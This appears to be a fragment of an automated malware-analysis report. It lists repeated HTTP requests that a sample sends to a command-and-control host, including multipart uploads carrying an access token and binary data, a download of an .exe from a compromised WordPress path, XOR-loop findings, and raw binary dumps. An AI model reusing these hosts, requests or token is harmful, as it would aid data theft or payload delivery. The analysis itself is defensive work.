Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "1147Host" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "GET /wp-content/uploads/DlQdq.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: fiinterchillers.com" Contains base64 string in header "like" in header "GET /wp-content/uploads/DlQdq.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: fiinterchillers.com"2a:T7bf,Found XOR loop in file "sample.bin" at offset 81682; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 839553; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1251557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1251636; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1672253; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1672315; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1681925; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2214207; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2669840; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2978368; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 172054; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 208329; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 208689; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 209089; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 211251; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 233585; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 253712; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 394821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 395517; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 396158; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1328856; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1391608; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2408924; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2808568; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2937872; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2971236; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2983668; code bytes = 80302b:T9f2,"?^_èlCc Ösc¶$ílÂ¨e½.§4ßI@àFÄwüÀ¶®«RRÊtÎq2A!He¼³ÄØÂGð/Ï;éå«$tÀøðúyÐÿ©®icØà¤1_5mS¬/´QPÅ]ëÒ&mò&ÞY)JøÿkëJ#ç©FÇ*`»0©b40gql´KêÑ ¤ÈÜÊ`ÞOPNåÓÏQ®{Ì«ñVÍp[7q½Ú~e¡¶CFS5FúQ"CQqÓáÊ.r¤zÈ³SÓÈð¹:R 7ÔUöõPk_*RñõÛw!m£÷%%æêµØ9±öòWýk¡ÀøHãÞwPÅVÁPí¡b>L-q}ï®ª¢&½pýÈfÞ-¬7`"t£üâê<|æ(ë5¬( ÆÃ--B3k0ikikZRsc0Zk--"; File: "PCAP") Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1147Host: firewai.biz:48261--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="type"0--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamf;µ!¾p»'ý|Ð9Â<°,my¿Ø¼4?0qèX¤¼Øûê¾åPòÒ)¶>7»è@3p»ÿ4/9è6´.MªHèªy<¾~GÅ·Âì:ê±2S®þ}9}r&t¨Ë¤¨yÍËß>XÅ§é7;Û5*òqo9OÄ<ôGg¥¤Âc#7Qß¡xó:É*Ð|õºåÂOª®9]Knl§$ß3ð£eaw¢ËÒÎúiGØùÝªòÃ¥Ä¨E4½Sö¾ùø5öM¬úÃÓsrqMêTMQ{¦ÎÓýXÍF>©áªy\÷ ¸5Æ¤u#©pøö)OÎAò.r©!h&_I,FÑ0£¯Tö%}"_ÙISdð¦¤t.üqêq5EÊs`+»`-J. zÇÕÄ1?*M×<¦ýrËàdÌÐZûoctûL:¦Vø!ÆÇ4bÄñ4cnñö( 3çe`UÆVj+BGvõ¥øsm=b%GÛ°xûáù¶'çzìøY5L/þbø8lYþª!¡±^Ùÿ k¬fÙÙR$¶:MçmÕj&So-£.ÉÆíEô_CÄ¶_ä¿G~l-Õ},\41s3îH1q.Ï?Y.æÂÃXT»LYB¯Øì¸ñ(ÕëIÒ»k%ÎØJE^þ*é5³¯H¹öâLÓW7Ú)$ÏïÑáªzÙÅ°~Ô/óÔ«>Óáü--amg4y2Xw9ykRaBD3R9u--"; File: "PCAP"), Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=3T15LRyNa6B77uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790562Host: firewai.biz:48261--3T15LRyNa6B77uContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--3T15LRyNa6B77uContent-Disposition: form-data; name="type"0--3T15LRyNa6B77uContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream*ÓÁT£/Þ¾]µô¸ZÍkÅßâ¹«pHÛ`ÝnÎ ÍV®ÅrÇGÞ)ÝÃ4þÃ´y|¬ú¤tþÜr+¯¨{éé!À×elúzSæ×$¹îøã^ÏrÏ31DÁ1þátcÌÓÑFRý§-ràd}V:+àèè.¤vèßÉ0«³ÆeÞÅ` gß¸óÏép0.-q=tU»~74¯@®m]îçñPqZ©Üq{ÏÆZÒ¨û&¶¬É5?N·ÆÛóøÝãytAÇÀ^{ZåMÆ¢ùö^ûx³¢fª$dù`w«Jô¢Ï'_T`Ô¦dìàÄzºðl9P\ÿÖs}itWÎáVßTPÂja{¤2Ñ_åáîCÎ£uïwAtxz;aè o/Ñª¢ô"oáIÆÊÿä}0s_ä]ýXëÑ-i.1_§Â>#¦¶@éÅåG¨e|6]x {#¥ðA±±-?Ö0U*Qô3Ä¶ùöãù×¼(}Ê§Yê¼¿ÁÇÕÇyFùÆãÙýÙ$¤.UÞ¡Û)"p¿Ø¾[ë@Øö]:í³ki_î&~öxÒ·¿0^KÞÄfÉ`ò³]ÚbþJ¦1SÇÙ^{Í½ýWÎmªr°\®Mø¥ .Á ai88§Ø¯½dY(|}/»ÒdE=Ãe×f#WÃ¼êe/æå¬¤È-ØH}B×¶:)±u"åHXíw%ÀÇåîTvb¿>þÄóÐ º Âíoèïý4ÁWr2-a&3©?7·ìÖêUÝ,qGQxÆfÃºæÕã]c\ÉóÁ$m 6x2b¸§É Æ1×^º®´¥£ñ-çplâ¼ä¥eîEKð éq.±qH|L?åÐø=ªTD^©¾R#Rì¤?ÂVa³Éw>®§Ë³?ðÚ2Þï }iyìÂvpaE¢(B.?GND_µa»ÁÚH&Øóâ\än.¹¬ØfsHMªý*ÿ÷Wyòòáx£x~¼&pó%¢zWûerîYÞ,»ÚÒ®Ï"0|jÀ±øÿ6ùj}?M-}¢BÃE]¢=áµÒÏÄäMC|¨ÛÚ'áÀ³=®NÐ9!h¿Â³ÒªÍÅ8ÐÙègË:(A'ö@=öÏ£ÔÝ{¯kÝL ÃS× æ¥0.bHàGÕAbQ¿mæ'æºòì>lfåH'P¨$oÏB7bL¯/!`CthâÈ4z¿ÚÆ~æbãµÊÓdfcÃÆ¡±7(Zfô`üåá¸mß ±Òu!Y¡¤]]Ä¯Ã\ ÍÉAÖ*|èÔ´=Éxí!cÖrDða¡dlPU·º¦±~xlh{m½ºËc¢ÙeîÒ¸»Â/¤ñ¹Ã£ëGË§WJÌÄR*%µÄëéTQ._sÁ?\ûXiÄª8½ïxN*F,µÝÐµW½RUSÞFAÏv«ÐõÅÙ*9pæÂþºMb<ÂÎÂ7¦(êC"åÆtHXå!4ò©N¯%tÀÇûB*!?M¾³¢NÿV1£|§Ö¦m2Aí¾8D6ÐøÅCBOðHv¹/1ðÙ&UCÔ³>ØS¤W©ºÂ3Ä¹þÍíf«¢$8>B[¿¦w*Ó¥µ²ù.Eøû».Ý±¹`míÇJÏy Pz½.¾Ìl}1¯DúA#¬øÙû`$É¿¤·9s/R×µ¶8Útc÷·9ÆXªj1[e©å¥ f¼ÍDé/H]//eáTU-I<òêÖ~Ìã/(qôÂvÀô)g¬ïÁ<¼é+èJ¿ßÅ¼K(É·1y&nc:4fznyu×}ìîg+tb/MQåf`1ÍX¶aMäp¶}ÀSHãÅKÍ5bwî¼åB\|áõßè·ohmÿgÇ^drKqÄìÿÌ9V¶3Í=V9ññ(m¹Ög[AÑªñ!*¼ÍÒK4öÙË4cjBòÉi1ª<%GqÐºEtý=âµ@RË[ÚÌ¨LdJãD½¨EgdºÛvÙ;½JàóÖÔö/+>Â`¬s¯/bfF$<°¶§Yk½Á¶¯hrcNGi$ÇXjÿxãøØLÐá²ÆrD¥ài»{½]DÚf´>9½·ÜÔWÕp¥·°V¦MñJÏÿ\cQzuþýÿñ¥äÐe¥¿J4S39Y²º[mÜ+9ÁMó(¾L;i¦qFEl6²G.m^e Ñí6{etf±,ëÕ 0F¡-µò¼ÜÔÊÁjüÃ£*æï´¹ýFqñ}Pà]¼^NTæ5n`':p«@°ôÜjJ8Þ×TÑMH$#ÇG®å¶7ÚäPzõ9sû¿âÐáÛÀx£¼°¦>0v¤AÛ3¥ì{=Ïî:32ò7ÓõôM¶ëÑ²´mìm[âñ«veÂÇr°5ìÚG°1±0-ðN/à¶oÔïwo}D»¹ê+éÂOÞ¨g£ç´k|¶§ÐGb7÷!G/)Òÿ~ ;ØÀ»´°Î¼ÉT&uþ×ã°eé)/üZNjl=~gÕRaKÂØÿª¼>»¦WìÞOÛ¯=N¦T.]}¢6pøÑFtl±Þ®S§q<¯ª\ëa{ßEÓhn+PÜ]F¬}/ÊîrN¥µ§þÑjFÎ®E£3EQO³; \ÛÁUÏ¾ÊÁ ñ1Ú¿+CÈgÐL[ÚE¾BÕËlÆ¹êxËNÌVê%x÷a?¯ë2Ñ·å6`e}þ´L8SúÃåêã¤½ùí>°¡pxÔÙú8¹Ós«Ë}èßdÅ!·¡7ºC3é@ª½ßoÉd×»ªµ¯Êµ6_Æ=j¶05Ñö£Ö*@Ã±Ú8ÌÙÖF©Ò½¨#R Wó-å«ôPIÌ*_søh2úC>Y0ªáBQÏÙ·×.þÖµ98ÏÐÇq¹UFî¹ûÿ*)'?V¬^ýËì*u5Bí=ß&¿¾ÅÔ¤SwIý¤ÅÓjø×-È®¾i!Y®Í/S#r]ôTJv8ï¸Æf¯¡ceDËróÛìÉï6I©)¿7Cµù\VW9Ìµ[¢÷^-<ÐKV°¾k+ÝxÝAçÁ]¾AV°¨`}ã¤;Û¦²1&÷-*Bêáãsï)tjW[m=Úxð¥±t¬ãÊö7ñ>m9.ÿJ¨NÚTü0"|ÑPê¯wÔ<@<ì¾.ï¦rpi®Î>5D°¼ñ¥{ãRi¬ºÉ4m²þ0<´<»&@3ÎÒAõSTdñºyO/ÞVé¬ç{ßðÞ_yy²ÒXR®êL£ßPpÝUdr;ß`Þ^GkÛ Pp ½)Xî2b1ëªjÆS+þ¢Rö¹]ãv`ø³ÏÜéVtjÈ~¸F«sFuî ;Ñ!G(~M[9Ä~ãF¤:E.ôþØ}d`>=DùÛÎç¡HNXCK# 